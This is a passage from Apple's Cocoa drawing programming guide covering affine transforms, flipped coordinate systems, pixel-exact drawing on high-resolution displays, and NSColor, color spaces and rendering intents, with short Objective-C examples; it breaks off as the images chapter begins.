modifications stay in effect until you explicitly undo them, as described in “Undoing a Transformation” (page 52), or a previous graphics state is restored. The following example creates a new transform object and adds several transformations to it. NSAffineTransform* xform = [NSAffineTransform transform]; // Add the transformations [xform translateXBy:50.0 yBy:20.0]; [xform rotateByDegrees:90.0]; // counterclockwise rotation [xform scaleXBy:1.0 yBy:2.0]; // Apply the changes [xform concat]; Coordinate Systems and Transforms Using Transforms in Your Code 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 51Undoing a Transformation Once applied, a transform affects all subsequent drawing calls in the current context. To undo a set of transformations, you can either restore a previous graphicsstate or apply an inverse transform. Both techniques have their advantages and disadvantages, so you should choose a technique based on your needs and the available information. Restoring a previous graphics state is the simplest way to undo a transformation but has other side effects. In addition to undoing the transform, restoring the graphicsstate reverts all other attributesin the current drawing environment back to their previous state. If you want to undo only the current transformation, you can add an inverse transform to the CTM. An inverse transform negates the effects of a given set of transformations using a complementary set of transformations. To create an inverse transform object, you use the invert method of the desired transform object. You then apply this modified transform object to the current context, as shown in the following example: NSAffineTransform* xform = [NSAffineTransform transform]; // Add the transformations [xform translateXBy:50.0 yBy:20.0]; [xform rotateByDegrees:90.0]; // counterclockwise rotation [xform concat]; // Draw content... // Remove the transformations by applying the inverse transform. [xform invert]; [xform concat]; You might use this latter technique to draw multiple items using the same drawing attributes but at different positions in your view. Depending on the type of transformations you use, you might also be able to do incremental transformations. For example, if you are calling translateXBy:yBy: only to reposition the origin, you could move the origin incrementally for each successive item. The following example, shows how you might position one item at (10, 10) and the next at (15, 10): [NSAffineTransform* xform = [NSAffineTransform transform]; // Draw item 1 [xform translateXBy:10.0 yBy:10.0]; Coordinate Systems and Transforms Using Transforms in Your Code 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 52[xform concat]; [item1 draw]; //Draw item 2 [xform translateXBy:5.0 yBy:0.0]; // Translate relative to the previous element. [xform concat]; [item2 draw]; Remember that the preceding techniques are used in cases where you do not want to modify your original items directly. Cocoa provides ways to modify geometric coordinates without modifying the current transformation matrix. For more information, see “Transforming Coordinates” (page 53). It is also worth noting that the effectiveness of an inverse transform is limited by mathematical precision. For rotation transforms, which involve taking sines and cosines of the desired rotation angle, an inverse transform may not be precise enough to undo the original rotation completely. In such a situation, you may want to simply save and restore the graphics state to undo the transform. Transforming Coordinates If you do not want to change the coordinate system of the current drawing environment, but do want to change the position or orientation of a single object, you have several options. The NSAffineTransform classincludesthe transformPoint: and transformSize: methodsfor changing coordinate values directly. Using these methods does not change the CTM of the current graphics context. If you want to alter the coordinates in a path, you can do so using the transformBezierPath: method of NSAffineTransform. This method returns a transformed copy of the specified Bezier path object. This method differs slightly from the transformUsingAffineTransform: method of NSBezierPath, which modifies the original object. Converting from Window to View Coordinates Events sent to your view by the operating system are sent using the coordinate system of the window. Before your view can use any coordinate values included with the event, it must convert those coordinates to its own local coordinate space. The NSView class provides several functions to facilitate the conversion of NSPoint, NSSize, and NSRect structures. Among these methods are convertPoint:fromView: and convertPoint:toView:, which convert pointsto and from the view’slocal coordinate system. For a complete list of conversion methods, see NSView Class Reference . Coordinate Systems and Transforms Using Transforms in Your Code 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 53Important: Cocoa event objects return y coordinate values that are 1-based (in window coordinates) instead of 0-based. Thus, a mouse click on the bottom left corner of a window or view would yield the point (0, 1) in Cocoa and not (0, 0). Only y-coordinates are 1-based. The following example converts the mouse location of a mouse event from window coordinates to the coordinates of the local view. To convert to the view’s local coordinate space, you use the convertPoint:fromView: method. The second parameter to this method specifies the view in whose coordinate system the point is currently specified. Specifying nil for the second parameter tells the current view to convert the point from the window’s coordinate system. NSPoint mouseLoc = [theView convertPoint:[theEvent locationInWindow] fromView:nil]; Coordinate Systems and Transforms Using Transforms in Your Code 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 54Flipped Coordinate Systems One topic that comes up frequently in Cocoa and Quartz is the use of flipped coordinate systems for drawing. By default, Cocoa uses a standard Cartesian coordinate system, where positive values extend up and to the right of the origin. It is possible, however, to “flip” the coordinate system, so that positive values extend down and to the right of the origin and the origin itself is positioned in the top-left corner of the current view or window, as shown in Figure 3-8. Figure 3-8 Normal and flipped coordinate axes Flipping the coordinate system can make drawing easier in some situations. Text systems in particular use flipped coordinates to simplify the placement of text lines, which flow from top to bottom in most writing systems. Although you are encouraged to use the standard Cartesian (unflipped) coordinate system whenever possible, you can use flipped coordinates if doing so is easier to support in your code. Configuring a view to use flipped coordinates affects only the content you draw directly in that view. Flipped coordinate systems are not inherited by child views. The content you draw in a view, however, must be oriented correctly based on the current orientation of the view. Failing to take into account the current view orientation may result in incorrectly positioned content or content that is upside down. Coordinate Systems and Transforms Flipped Coordinate Systems 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 55The following sections provide information about Cocoa support for flipped coordinates and some of the issues you may encounter when using flipped coordinate systems. Wherever possible, these sections also offer guidance on how to solve issues that arise due to flipped coordinate systems. Configuring Your View to Use Flipped Coordinates The first step you need to take to implement flipped coordinates is to decide the default orientation of your view. If you prefer to use flipped coordinates, there are two ways to configure your view’s coordinate system prior to drawing: ● Override your view’s isFlipped method and return YES. ● Apply a flip transform to your content immediately prior to rendering. If you plan to draw all of your view’s content using flipped coordinates, overriding the view’s isFlipped method is by far the preferred option. Overriding this method lets Cocoa know that your view wants to use flipped coordinates by default. When a view’s isFlipped method returns YES, Cocoa automatically makes several adjustments for you. The most noticeable change is that Cocoa adds the appropriate conversion transform to the CTM before calling your view’s drawRect: method. This behavior eliminates the need for your drawing code to apply a flip transform manually. In addition, many Cocoa objects automatically adjust their drawing code to account for the coordinate system of the current view. For example, the NSFont object automatically takes the orientation of the coordinate system into account when setting the current font. This prevents text from appearing upside down when drawn in your view. If you draw only a subset of your view’s content using flipped coordinates, you can use a flip transform (instead of overriding isFlipped) to modify the coordinate system manually. A flip transform lets you adjust the current coordinate system temporarily and then undo that adjustment when it is no longer needed. You would apply thistransform to your view’s coordinate system immediately prior to drawing the relevant flipped content. For information on how to create a flip transform, see “Creating a Flip Transform” (page 59). Drawing Content in a Flipped Coordinate System Most of the work you do to support flipped coordinates occurs within your application’s drawing code. If you chose to use flipped coordinates in a particular view, chances are it was because it made your drawing code easier to implement. Drawing in a flipped coordinate system requires you to position elements differently relative to the screen but is otherwise fairly straightforward. The following sections provide some tips to help you ensure any rendered content appears the way you want it. Coordinate Systems and Transforms Flipped Coordinate Systems 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 56Drawing Shape Primitives There are no real issues with drawing shape primitives in flipped coordinate systems. Shape primitives, such as rectangles, ovals, arcs, and Bezier curves can be drawn just as easily in flipped or unflipped coordinate systems. The only differences between the two coordinate systems is where the shapes are positioned and their vertical orientation. Laying out your shapes in advance to determine their coordinate points should solve any orientation issues you encounter. Drawing With Application Kit Functions The Application Kit framework contains numerousfunctionsfor quickly drawing specific content. Among these functions are NSRectFill, NSFrameRect, NSDrawGroove, NSDrawLightBezel, and so on. When drawing with these functions, Cocoa takesinto account the orientation of the target view. Thus, if your view usesflipped coordinates, these functions continue to render correctly in that flipped coordinate space. Drawing Images When rendering images in your custom views, you must pay attention to the relative orientation of your view and any images you draw in that view. If you draw an image in a flipped view using the drawInRect:fromRect:operation:fraction: method, your image would appear upside down in your view. You could fix this problem using one of several techniques: ● You could apply a flip transform immediately prior to drawing the image; see “Creating a Flip Transform” (page 59). ● You could use one of the compositeToPoint methods of NSImage to do the drawing. ● You could invert the image data itself. (Although a suitable fix, this is usually not very practical.) Using a flip transform to negate the effects of a flipped view ensures that your image contents are rendered correctly in all cases. This technique retains any previous transformations to the coordinate system, including scales and rotations, but removes the inversion caused by the view being flipped. You should especially use thistechnique if you needed to draw your image using the drawInRect:fromRect:operation:fraction: method of NSImage. This method lets you scale your image to fit the destination rectangle and is one of the more commonly used drawing methods for images. Although the compositeToPoint methods of NSImage provide you with a way to orient images properly without a flip transform, their use is not recommended. There are some side effects that make drawing with these methods more complicated. The compositeToPoint methods work by removing any custom scaling or rotation factors that you applied to the CTM. These methods also remove any scaling (but not translations) applied by any flip transforms, whether the transform was supplied by you or by Cocoa. (The methods also do not remove the scale factor in effect from resolution independence.) Any custom translation factors you applied Coordinate Systems and Transforms Flipped Coordinate Systems 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 57to the CTM are retained, however. Although this behavior is designed to ensure that images are not clipped by your view’s bounding rectangle, if you do not compensate for the flip transform’stranslation factor, clipping may still occur. Figure 3-9 shows what happens when you render an image in an unflipped view, and then in a flipped view, using the compositeToPoint:fromRect:operation: method. In the unflipped view, the image renders as expected at the specified point in the view. In the flipped view, the scale factor for the y-axis is removed but the translation factor is not, which results in the image being clipped because it appears partially outside the view’s visible bounds. To compensate, you would need to adjust the y-origin of the image by subtracting the original value from the view height to get the adjusted position. Figure 3-9 Compositing an image to a flipped view The issues related to the drawing of images in a flipped coordinate system are essentially independent of how you create those images in the first place. Images use a separate coordinate system internally to orient the image data. Whether you load the image data from an existing file or create the image by locking focus on it, Coordinate Systems and Transforms Flipped Coordinate Systems 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 58once the image data is loaded or you unlock focus, the image data is set. At that point, you must choose the appropriate drawing method or adjust the coordinate system yourself prior to drawing to correct for flipped orientation issues. Important: Although the setFlipped: method of NSImage might seem like a good way to change the orientation of an image after the fact, that is not actually the case. The setFlipped: method is there to let you specify the orientation of the image data before you issue a lockFocus call and draw into the image. Using that method to correct for flipped coordinate systems during drawing might seem to work at times, but it is not a reliable way to flip images and its use in that capacity is highly discouraged. For more information about images and their internal coordinate systems,see “Image Coordinate Systems” (page 81). Important: Regardless of whether the contents of the image are flipped or unflipped, you always specify the location and size of the image using the coordinate system of the current context. Drawing Text The text rendering facilities in Cocoa take their cues for text orientation from the current view. If your view’s isFlipped method returns YES, Cocoa automatically inverts the text drawn in that view to compensate for its flipped coordinate system. If you apply a flip transform manually from your drawing code, however, Cocoa does not know to compensate when drawing text. Any text you render after applying a flip transform manually therefore appears upside down in your view. These rules apply whether you are using the Cocoa text system or the drawing facilities of NSString to draw your text. If you lock focus on an image and draw some text into it, Cocoa uses the internal coordinate system of the NSImage object to determine the correct orientation for the text. As with other image content, if you subsequently render the image in a flipped view, the text you drew is flipped along with the rest of the image data. For more information about working with text, see “Text” (page 127). Creating a Flip Transform If you want to flip the coordinate system of your view temporarily, you can create a flip transform and apply it to the current graphics context. A flip transform is an NSAffineTransform object configured with two transformations: a scale transformation and a translate transformation. The flip transform works by flipping the direction of the y axis (using the scale transformation) and then translating the origin to the top of the view. Coordinate Systems and Transforms Flipped Coordinate Systems 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 59Listing 3-1 shows a drawRect: method that creates a flip transform and applies it to the current context. The flip transform shown here translatesthe origin first before reversing the direction of the vertical axis. You could also implement this transform by reversing the vertical axis first and then translating the origin in the negative direction—that is, using the negated value of the frame height. Listing 3-1 Flipping the coordinate system manually - (void)drawRect:(NSRect)rect { NSRect frameRect = [self bounds]; NSAffineTransform* xform = [NSAffineTransform transform]; [xform translateXBy:0.0 yBy:frameRect.size.height]; [xform scaleXBy:1.0 yBy:-1.0]; [xform concat]; // Draw flipped content. } The flip transform merely toggles the orientation of the current coordinate system. If your view already draws using flipped coordinates, because its isFlipped method returns YES, applying a flip transform reverts the coordinate system back to the standard orientation. Cocoa Use of Flipped Coordinates Some Cocoa classes inherently support flipped coordinates and some do not. If you are using unmodified Cocoa views and controls in your user interface, it should not matter to your code whether those views and controls use flipped coordinates. If you are subclassing, however, it isimportant to know the coordinate system orientation. The following controls and views currently use flipped coordinates by default: ● NSButton ● NSMatrix ● NSProgressIndicator ● NSScrollView ● NSSlider ● NSSplitView ● NSTabView ● NSTableHeaderView Coordinate Systems and Transforms Flipped Coordinate Systems 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 60● NSTableView ● NSTextField ● NSTextView Some Cocoa classes support flipped coordinates but do not use them all the time. The following list includes the known cases where flipped-coordinate support depends on other mitigating factors. ● Images do not use flipped coordinates by default; however, you can flip the image’s internal coordinate system manually using the setFlipped: method of NSImage. All representations of an NSImage object use the same orientation. For more information about images and flipped coordinates, see “Image Coordinate Systems” (page 81). ● The Cocoa text system takes cues from the current context to determine whether text should be flipped. If the text is to be displayed in an NSTextView object, text system objects (such as NSFont) also uses flipped coordinates to ensure that text is rendered right-side up. If you are drawing text in a custom view that uses standard coordinate, the text system objects do not use flipped coordinates. ● An NSClipView object determines whether to use flipped coordinates by looking at the coordinate system of its document view. If the document view uses flipped coordinates, so does the clip view. Using the same coordinate system ensures that the scroll origin matches the bounds origin of the document view. ● Graphics convenience functions,such asthose declared in NSGraphics.h, take flipped coordinate systems into account when drawing. For information about the available graphics convenience functions, see Application Kit Functions Reference . As new controls and views are introduced in Cocoa, those objects may also support flipped coordinates. Check the class reference documentation for any subclassing notes on whether a class supports flipped coordinates. You can also invoke the view’s isFlipped method at runtime to determine if it uses flipped coordinates. Doing Pixel-Exact Drawing Although it is possible to create applications using only the views, controls, and images provided by Cocoa, it is common for applications to use one or more custom views or images. And although Cocoa provides default behavior for laying out custom content, there are many times when you may want to adjust the position of individual views or imagesto avoid visual artifacts. Thisis especially true when tiling or drawing bitmap images on high-resolution devices(such as printers) or devices where resolution independentscale factors are in effect. The following sections provide guidelines and practical advice for how to prevent visual artifactsthat can occur during high-resolution drawing. For additional information on resolution independence and how to adapt your code to support different scale factors, see High Resolution Guidelines for OS X . Coordinate Systems and Transforms Doing Pixel-Exact Drawing 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 61Tips for Resolution Independent Drawing in Cocoa Cocoa applications provide a tremendous amount ofsupport for rendering to high-resolution devices. Although much of this support is automatic, you still need to do some work to ensure your content looks good. The following list includes some approaches to take when designing your interface: ● Use high-resolution images. ● During layout, make sure views and images are positioned on integral pixel boundaries. ● When creating tiled background images for custom controls, use the NSDrawThreePartImage and NSDrawNinePartImage methods to draw your background rather than trying to draw it yourself. ● Use antialiased text rendering modes for non-integral scale factors and be sure to lay out your text views on pixel boundaries. ● Test your applications with non-integral scale factors such as 1.25 and 1.5. These factors tend to generate odd numbers of pixels, which can reveal potential pixel cracks. If you are using OpenGL for drawing, you should also be aware that in OS X v10.5, the bounding rectangle of a view drawn into an NSOpenGLContext is measured in pixels and not in points (as it is in non OpenGL situations). This support may change in the future, however, so OpenGL developers should be sure to convert coordinates directly using the coordinate conversion methods of NSView. For example, the following conversion code for a view object is guaranteed to return the correct values needed by OpenGL. NSSize boundsInPixelUnits = [self convertRect:[self bounds] toView:nil]; glViewport(0, 0, boundsInPixelUnits.size.width, boundsInPixelUnits.size.height); For more information about resolution independence and how it affectsrendered content,see High Resolution Guidelines for OS X . Accessing the Current Scale Factor Knowing the current scale factor can help you make decisions about how best to render your content. The NSWindow and NSScreen classes both include a userSpaceScaleFactor method that you can call to obtain the current scale factor, if any, for your application. In OS X v10.5 and earlier, this method usually returns 1.0, indicating that the user space and device space have the same resolution (where one point equals one pixel). At some point though, this method may return a value that is greater than 1.0. For example, a value of 1.25 would indicate a screen resolution of approximately 90 dpi, while a value of 2.0 would indicate a screen resolution of 144 dpi. Coordinate Systems and Transforms Doing Pixel-Exact Drawing 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 62If you want to know the actual resolution of a particularscreen, the NSScreen classincludesinformation about the display resolution in its device description dictionary (accessed using the deviceDescription method). You can use this information (instead of multiplying scale factors) to determine the appropriate resolution to use for your images. Adjusting the Layout of Your Content Because screens are relatively low-resolution devices, drawing glitches are often more noticeable on a screen than they are on higher-resolution devices such as printers. Drawing glitches can occur when you render content in a way that requirestweaking to match the underlying pixelssent to the screen. For example, images and shapes drawn on non-pixel boundaries might require aliasing and therefore might appear less crisp than those drawn exactly on pixel boundaries. In addition, scaling an image to fit into a different-sized area requires interpolation, which can introduce artifacts and graininess. Although pixel-alignment issues can occur on any version of OS X, they are more likely to occur asthe operating system changes to support resolution independence. Under resolution independence, units in the user coordinate space and device coordinate space are no longer required to maintain a one-to-one relationship. For high-resolution screens, this means that a single unit in user space may be backed by multiple pixels in device space. So even if your user-space coordinatesfall on integral unit boundaries, they may still be misaligned in device space. The presence of extra pixels can also lead to pixel cracks, which occur when misaligned shapes leave small gaps because they do not fill the intended drawing area entirely. If your images or shapes are not drawing the way you expect, or if your graphics content displays evidence of pixel cracks, you can remove many of these issues by adjusting the coordinate values you use to draw your content. The following steps are not required if the current scale factor is 1.0 but would be required for other scale factors. 1. Convert the user-space point, size, or rectangle value to device space coordinates. 2. Normalize the value in device space so that it is aligned to the appropriate pixel boundary. 3. Convert the normalized value back to user space. 4. Draw your content using the adjusted value. The best way to get the correct device-space rectangle is to use the centerScanRect: method of NSView. This method takes a rectangle in userspace coordinates, performsthe needed calculationsto adjust the position of rectangles based on the current scale factor and device, and returns the resulting user space rectangle. For layout, you can also use the methods described in “Converting Coordinate Values” (page 64). If you want more control over the precise layout of items in device space, you can also adjust coordinates yourself. OS X provides several functions for normalizing coordinate values once they are in device space, including the NSIntegralRect and CGRectIntegral functions. You can also use the ceil and floor functions in math.h to round device space coordinates up or down as needed. Coordinate Systems and Transforms Doing Pixel-Exact Drawing 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 63Converting Coordinate Values In OS X v10.5, several methods were added to NSView to simplify the conversion between user space and device space coordinates: ● convertPointToBase: ● convertSizeToBase: ● convertRectToBase: ● convertPointFromBase: ● convertSizeFromBase: ● convertRectFromBase: These convenience methods make it possible to convert values to and from the base (device) coordinate system. They take into account the current backing store configuration for the view, including whether it is backed by a layer. To change the coordinate values of an NSPoint structure, the beginning of your view’s drawRect: method might have code similar to the following: - (void)drawRect:(NSRect)rect { NSPoint myPoint = NSMakePoint(1.0, 2.0); CGFloat scaleFactor = [[self window] userSpaceScaleFactor]; if (scaleFactor != 1.0) { NSPoint tempPoint = [self convertPointToBase:myPoint]; tempPoint.x = floor(tempPoint.x); tempPoint.y = floor(tempPoint.y); myPoint = [self convertPointFromBase:tempPoint]; } // Draw the content at myPoint } It is up to you to determine which normalization function is best suited for your drawing code. The preceding example uses the floor function to normalize the origin of the given shape but you might use a combination of floor and ceil depending on the position of other content in your view. Coordinate Systems and Transforms Doing Pixel-Exact Drawing 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 64One of the keys to creating interesting graphics is the effective use of color and transparency. In OS X, both are used to convey information and provide an inherent appeal to your creations. Good color usage usually results in an interface that is pleasing to the user and helps call out information when it is needed. About Color and Transparency Support for color in Cocoa is built on top of Quartz. The NSColor class provides the interface for creating and manipulating colors in a variety of color spaces. Other classes provide color and color space management. Cocoa also provides classes that present a user interface for selecting colors. For a more thorough explanation of color, color theory, and color management in OS X,see Color Management Overview and Color Programming Topics. Color Models and Color Spaces The human eye perceives photons in a fairly narrow band of the electromagnetic spectrum. Each photon vibrates at a frequency that defines the color of the light represented by that photon. The biology of the eye makes it particularly receptive to red, blue, and green light and these primary colors are often mixed together to create a broad range of perceptible colors. A color model is a geometric or mathematical framework that attempts to describe the colors seen by the eye. Each model contains one or more dimensions, which together represent the visible spectrum of color. Numerical values are pinned to each dimension making it possible to describe colors in the color model numerically. Having a numerical representation makes it possible to describe, classify, compare, and order those colors. A color space is a practical adaptation of a color model. It specifies the gamut (or range) of colors that can be produced using a particular color model. While the color model determines the relationship between values in each dimension, the color space defines the absolute meaning of those values as colors. Cocoa supports the same color spaces as Quartz 2D, although accessor methods of NSColor focus on the following color spaces: ● RGB ● CMYK ● Gray 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 65 Color and TransparencyIn Cocoa, the NSColorSpace class handles the information associated with a particular color space. You can create instances of this class to represent individual color spaces. Cocoa provides methods for retrieving color space objects representing the standard color spaces. You can also create custom color space objects using a ColorSync profile reference or International Color Consortium (ICC) profile data. For detailed information about color spaces and color models in OS X, see Color Management Overview. Color Objects The NSColor class in Cocoa provides the interface you need to create and manage individual colors. The NSColor classisitself a factory classfor creating the actual color objects. The class methods of NSColor create color objects that are actually based on specific subclasses of NSColor, where each subclass implements the behavior for a specific color space. Because a color object must represent a single color space, you cannot use all of the methods of NSColor from the same object. For a given color object, you can use only the methods that are relevant to colors in that object’s color space. For example, if you create an CMYK-based color object, you cannot use the getRed:green:blue:alpha: method to retrieve RGB values. Methods that are unsupported in the current color space raise an exception. For more information on how to create and use colors, see “Creating Colors” (page 68). Color Component Values In Cocoa, color space values, called components, are specified as floating-point values in the range 0.0 to 1.0. When working with other color values from other systems, you must convert any values that do not fall into the supported range. For example, if you use a color system whose components have values in the range 0 to 255, you must divide each component value by 255 to get the appropriate value for Cocoa. You can retrieve the component values of a color object using any of several methods in NSColor. Several methods exist for retrieving the color values of known color spaces, such as RGB, CMYK, HSV (also known as HSB), and gray. If you do not know the number of components in the color’s color space, you can use the numberOfComponents method to find out. You can then use the getComponents: method to retrieve the component values. Transparency In addition to the component values used to identify a particular color in a colorspace, OS X colors also support an alpha component for identifying the transparency of that color. Color and Transparency About Color and Transparency 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 66Transparency is a powerful effect used to give the illusion of light passing through a particular area instead of reflecting off of it. When you render an object using a partially transparent color, the object picks up some color from the object directly underneath it. The amount of color it picks up depends on the value of the color’s alpha component and the compositing mode. Like color components, the alpha component is specified as a floating-point value in the range 0.0 to 1.0. You can think of the alpha component as specifying the amount of light being reflected back from the object’s surface. An alpha value of 1.0 represents a 100% reflection of all light and is equivalent to the object being opaque. An alpha value of 0.0 represents 0% reflection of light and all color coming from the content underneath. An alpha value of 0.5 represents 50% reflection, with half the color being reflected off the object and half coming from the content underneath. You specify transparency when you create a color object. If you create a color using component values, you can specify an alpha value directly. If you have an existing color object, you can use the colorWithAlphaComponent: method to create a new color object with the same color components as the original but with the alpha value you specify. Pattern Colors In addition to creating monochromatic colors, you can also create pattern colors using images. Pattern colors are most applicable asfill colors but can be used asstroke colors as well. When rendered, the image you specify is drawn on the path or its fill area instead of a solid color. If an image is too small to fill the given area, it is tiled vertically and horizontally, as shown in Figure 4-1. Figure 4-1 Drawing with a pattern For information on how to create pattern colors, see “Creating Colors” (page 68). Color and Transparency About Color and Transparency 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 67Color Lists A color list is a dictionary-like object (implemented by the NSColorList class) that contains an ordered list of NSColor objects, identified by keys. You can retrieve colors from the color list by key. You can also organize the colors by placing them at specific indexes in the list. Color lists are available as a tool to help you manage any document-specific colors. They are also used to customize the list of colors displayed in a color panel. You can use the attachColorList: method of NSColorPanel to add any colors your application uses to the panel. For more information about using color lists and color panels, see Color Programming Topics. Color Matching Cocoa provides automatic color matching whenever possible using ColorSync. Color matching ensures that the colors you use to draw your content look the same on different devices. Cocoa provides full support for creating and getting color profile information using the NSColorSpace class. Cocoa supports both ColorSync profile references and ICC profiles as well as calibrated and device-specific profiles for the RGB, CMYK, and gray color spaces. Because color matching is automatic, there is nothing to do in your code except use the colors you want. For information about ColorSync, see ColorSync Manager Reference . For information on ICC profiles, see the International Color Consortium website: http://www.color.org/. Creating Colors The NSColor class supports the creation of several different types of color objects: ● Commonly used colors, such as red, green, black, or white ● System colors,such asthe current control color or highlight color, whose values are set by user preferences ● Calibrated colors belonging to a designated color space ● Device colors belonging to the designated device color space ● Pattern colors To create most color objects, simply use the appropriate class method of NSColor. The class defines methods for creating preset colors or for creating colors with the values you specify. To create a pattern color, load or create the desired image and pass it to the colorWithPatternImage: method of NSColor. For more information, see the NSColor class reference. For information on how to load and create images, see “Images” (page 74). Color and Transparency Creating Colors 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 68Important: Never allocate and initialize an NSColor object directly. Because it is a base class, the implementation of NSColor is minimal and simply throws an exception in situations where actual color information is required. In OS X v10.5 and later, Cocoa provides support for gradient fill patterns through the NSGradient class. Prior to version 10.5, if you want to use a gradient to fill or stroke a path, you must use Quartz instead. For examples of how to create and use gradients, see “Creating Gradient Fills” (page 113). Working with Colors Once you have an NSColor object, you can apply it to the stroke or fill color of the current context. Once set, any shapes you draw in the current context take on that color. You can also use the color component information in any calculations you might need for your program. Applying Colors to Drawn Content Stroke and fill colors modify the appearance of path-based shapes,such asthose drawn with the NSBezierPath class or functions such as NSRectFill. The stroke color applies to the path itself, and the fill color applies to the area bounded by that path. To set the current stroke or fill attributes, you use one of the NSColor methods listed in Table 4-1. Table 4-1 Methods for changing color attributes NSColor method Description set Sets both the stroke and fill color to the same value. setFill Sets the fill color. setStroke Sets the stroke color. For example, the following code sets the stroke color to black and the fill color to the background color for controls. [[NSColor blackColor] setStroke]; [[NSColor controlBackgroundColor] setFill]; Color and Transparency Working with Colors 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 69All subsequent drawing operations in the current context would use the specified colors. If you do not want any color to be drawn for the stroke or fill, you can set the current stroke or fill to a completely transparent color, which you can get by calling the clearColor method of NSColor. You can also create a transparent color by setting the alpha of any other color to 0. Note: Stroke and fill colors do not affect the appearance of text. To apply color to text, you must change the attributes associated with the text. Applying Color to Text Unlike many graphics operations, text is not drawn using the current stroke and fill colors. Instead, to apply color to text, you must apply color attributes to the characters of the corresponding string object. To apply color to a range of characters in an NSAttributedString object, you apply the NSForegroundColorAttributeName attribute to the characters. This attribute takes a corresponding NSColor object as its value. To apply color to the characters of an NSString object, you apply the NSForegroundColorAttributeName attribute just as you would for an NSAttributedString object. The difference in application isthat attributes applied to an NSString object affect the entire string and not a specified range of characters. The set of available attributesfor both string typesislisted in NSAttributedString Application Kit Additions Reference in the Application Kit Framework Reference . For an example of how to change the attributes of an attributed string, see “Changing an Attributed String” in Attributed String Programming Guide . For more information about drawing text, see “Text” (page 127). Getting the Components of a Color If your program manipulates colors in any way, you may want to know the component values for the colors you use. NSColor provides the following accessor methods for retrieving component values of a color: ● numberOfComponents ● getComponents: ● getRed:green:blue:alpha: ● getCyan:magenta:yellow:black:alpha: ● getHue:saturation:brightness:alpha: ● getWhite:alpha: Color and Transparency Working with Colors 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 70The NSColor class also provides methods for accessing individual component values, rather than all of the components together. For more information, see the NSColor class reference. Important: It is a programming error to ask an NSColor object for components that are not defined in the color space of its current color, and making such a request raises an exception. If you need a specific set of components, you should first convert the color to the appropriate color space using the colorUsingColorSpaceName: method. For more information, see “Converting Between Color Spaces” (page 71). Choosing Colors Applicationsthat need to present a color picker interface to the user can use either a color well or a color panel. A color well is a control that displays a single color. You can embed this control in your windows and use it to show a currently selected color. When clicked, a color well displays the system color panel, which provides an interface for picking a color. You can also use the color panel on its own to prompt the user for a color. For information about how to use color wells and the color panel in your application, see Color Programming Topics. Working with Color Spaces Colorspaces help your program maintain color fidelity throughout the creation and rendering process. Although most programs may never need to worry about color spaces, you might need to know the current color space in some situations, such as prior to manipulating color component values. Converting Between Color Spaces You can convert between color spaces using the colorUsingColorSpaceName: method of NSColor. This method creates a new color object representing the same color but using the color space you specify. To convert a color from RGB to CMYK, you could use code similar to the following: NSColor* rgbColor = [NSColor colorWithCalibratedRed:1.0 green: 0.5 blue: 0.5 alpha:0.75]; NSColor* cmykColor = [rgbColor colorUsingColorSpace:[NSColorSpace genericCMYKColorSpace]]; Color and Transparency Working with Color Spaces 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 71Mapping Physical Colors to a Color Space The range of colors (or gamut) that can be physically displayed on an output device differs from device to device. During rendering, Cocoa attempts to match the colors you specify in your code as closely as it can to the colors available in the target device. Sometimes, though, it maps colorsin a different way so asto emphasize different aspects of a color that might be more important when reproducing that color. The mapping used for colors is referred to as the rendering intent and it is something most developers rarely need to change. Because most developersshould not need to change the rendering intent, you cannotset the attribute directly from Cocoa. If your application needs more control over the color management, you must use Quartz to change the rendering intent. Table 4-2 lists the rendering intents supported by Quartz. Table 4-2 Quartz rendering intents Rendering intent Description Use the default rendering intent settings. In this mode, Quartz uses the relative colorimetric intent for all drawing except that ofsampled images; for sampled images, Quartz uses the perceptual rendering intent. kCGRenderingIntentDefault This rendering intent performs no white point adjustment to the colors. A color that appearsto be white on a screen display may be reproduced on a printed medium as a bluish color (because a white color on a screen actually has a bluish cast). This intent is useful for simulating one device on another or for rendering logos where exact color reproduction is important. kCGRenderingIntentAbsoluteColorimetric This rendering intent uses the white point information from the source and destination and adjusts the color information so that the white point of the source maps into the white point of the destination. In-gamut colors are also adjusted accordingly. This intent is typically used for line art graphics. kCGRenderingIntentRelativeColorimetric Thisrendering intent produces pleasing visual results and preservesthe relationship between colors at the expense of the absolute color reproduction. This intent is typically used for photographic images. kCGRenderingIntentPerceptual Thisrendering intent attemptsto maximize the saturation of colors. This intent is mostly used for business charts or graphics. kCGRenderingIntentSaturation To change the rendering intent, you must get a Quartz graphics context for the current drawing environment and call the CGContextSetRenderingIntent function, as shown in the following example: - (void) drawRect:(NSRect)rect Color and Transparency Working with Color Spaces 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 72{ CGContextRef theCG = [[NSGraphicsContext currentContext] graphicsPort]; // Change the rendering intent. CGContextSetRenderingIntent(theCG, kCGRenderingIntentPerceptual); // Draw your content. } Color and Transparency Working with Color Spaces 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 73Important: This chapter has not yet been updated to describe how images work in OS X v10.6. Significant changes were made to image processing in OS X v10.6. See Application Kit Release Notes (10.7 and Earlier) and High Resolution Guidelines for OS X for details. Images are an important part of any Mac app. In Cocoa, images play a very important, but flexible, role in your user interface. You can use imagesto render preexisting content or act as a buffer for your application's drawing commands. At the heart of Cocoa'simage manipulation code isthe NSImage class. This class manages everything related to image data and is used 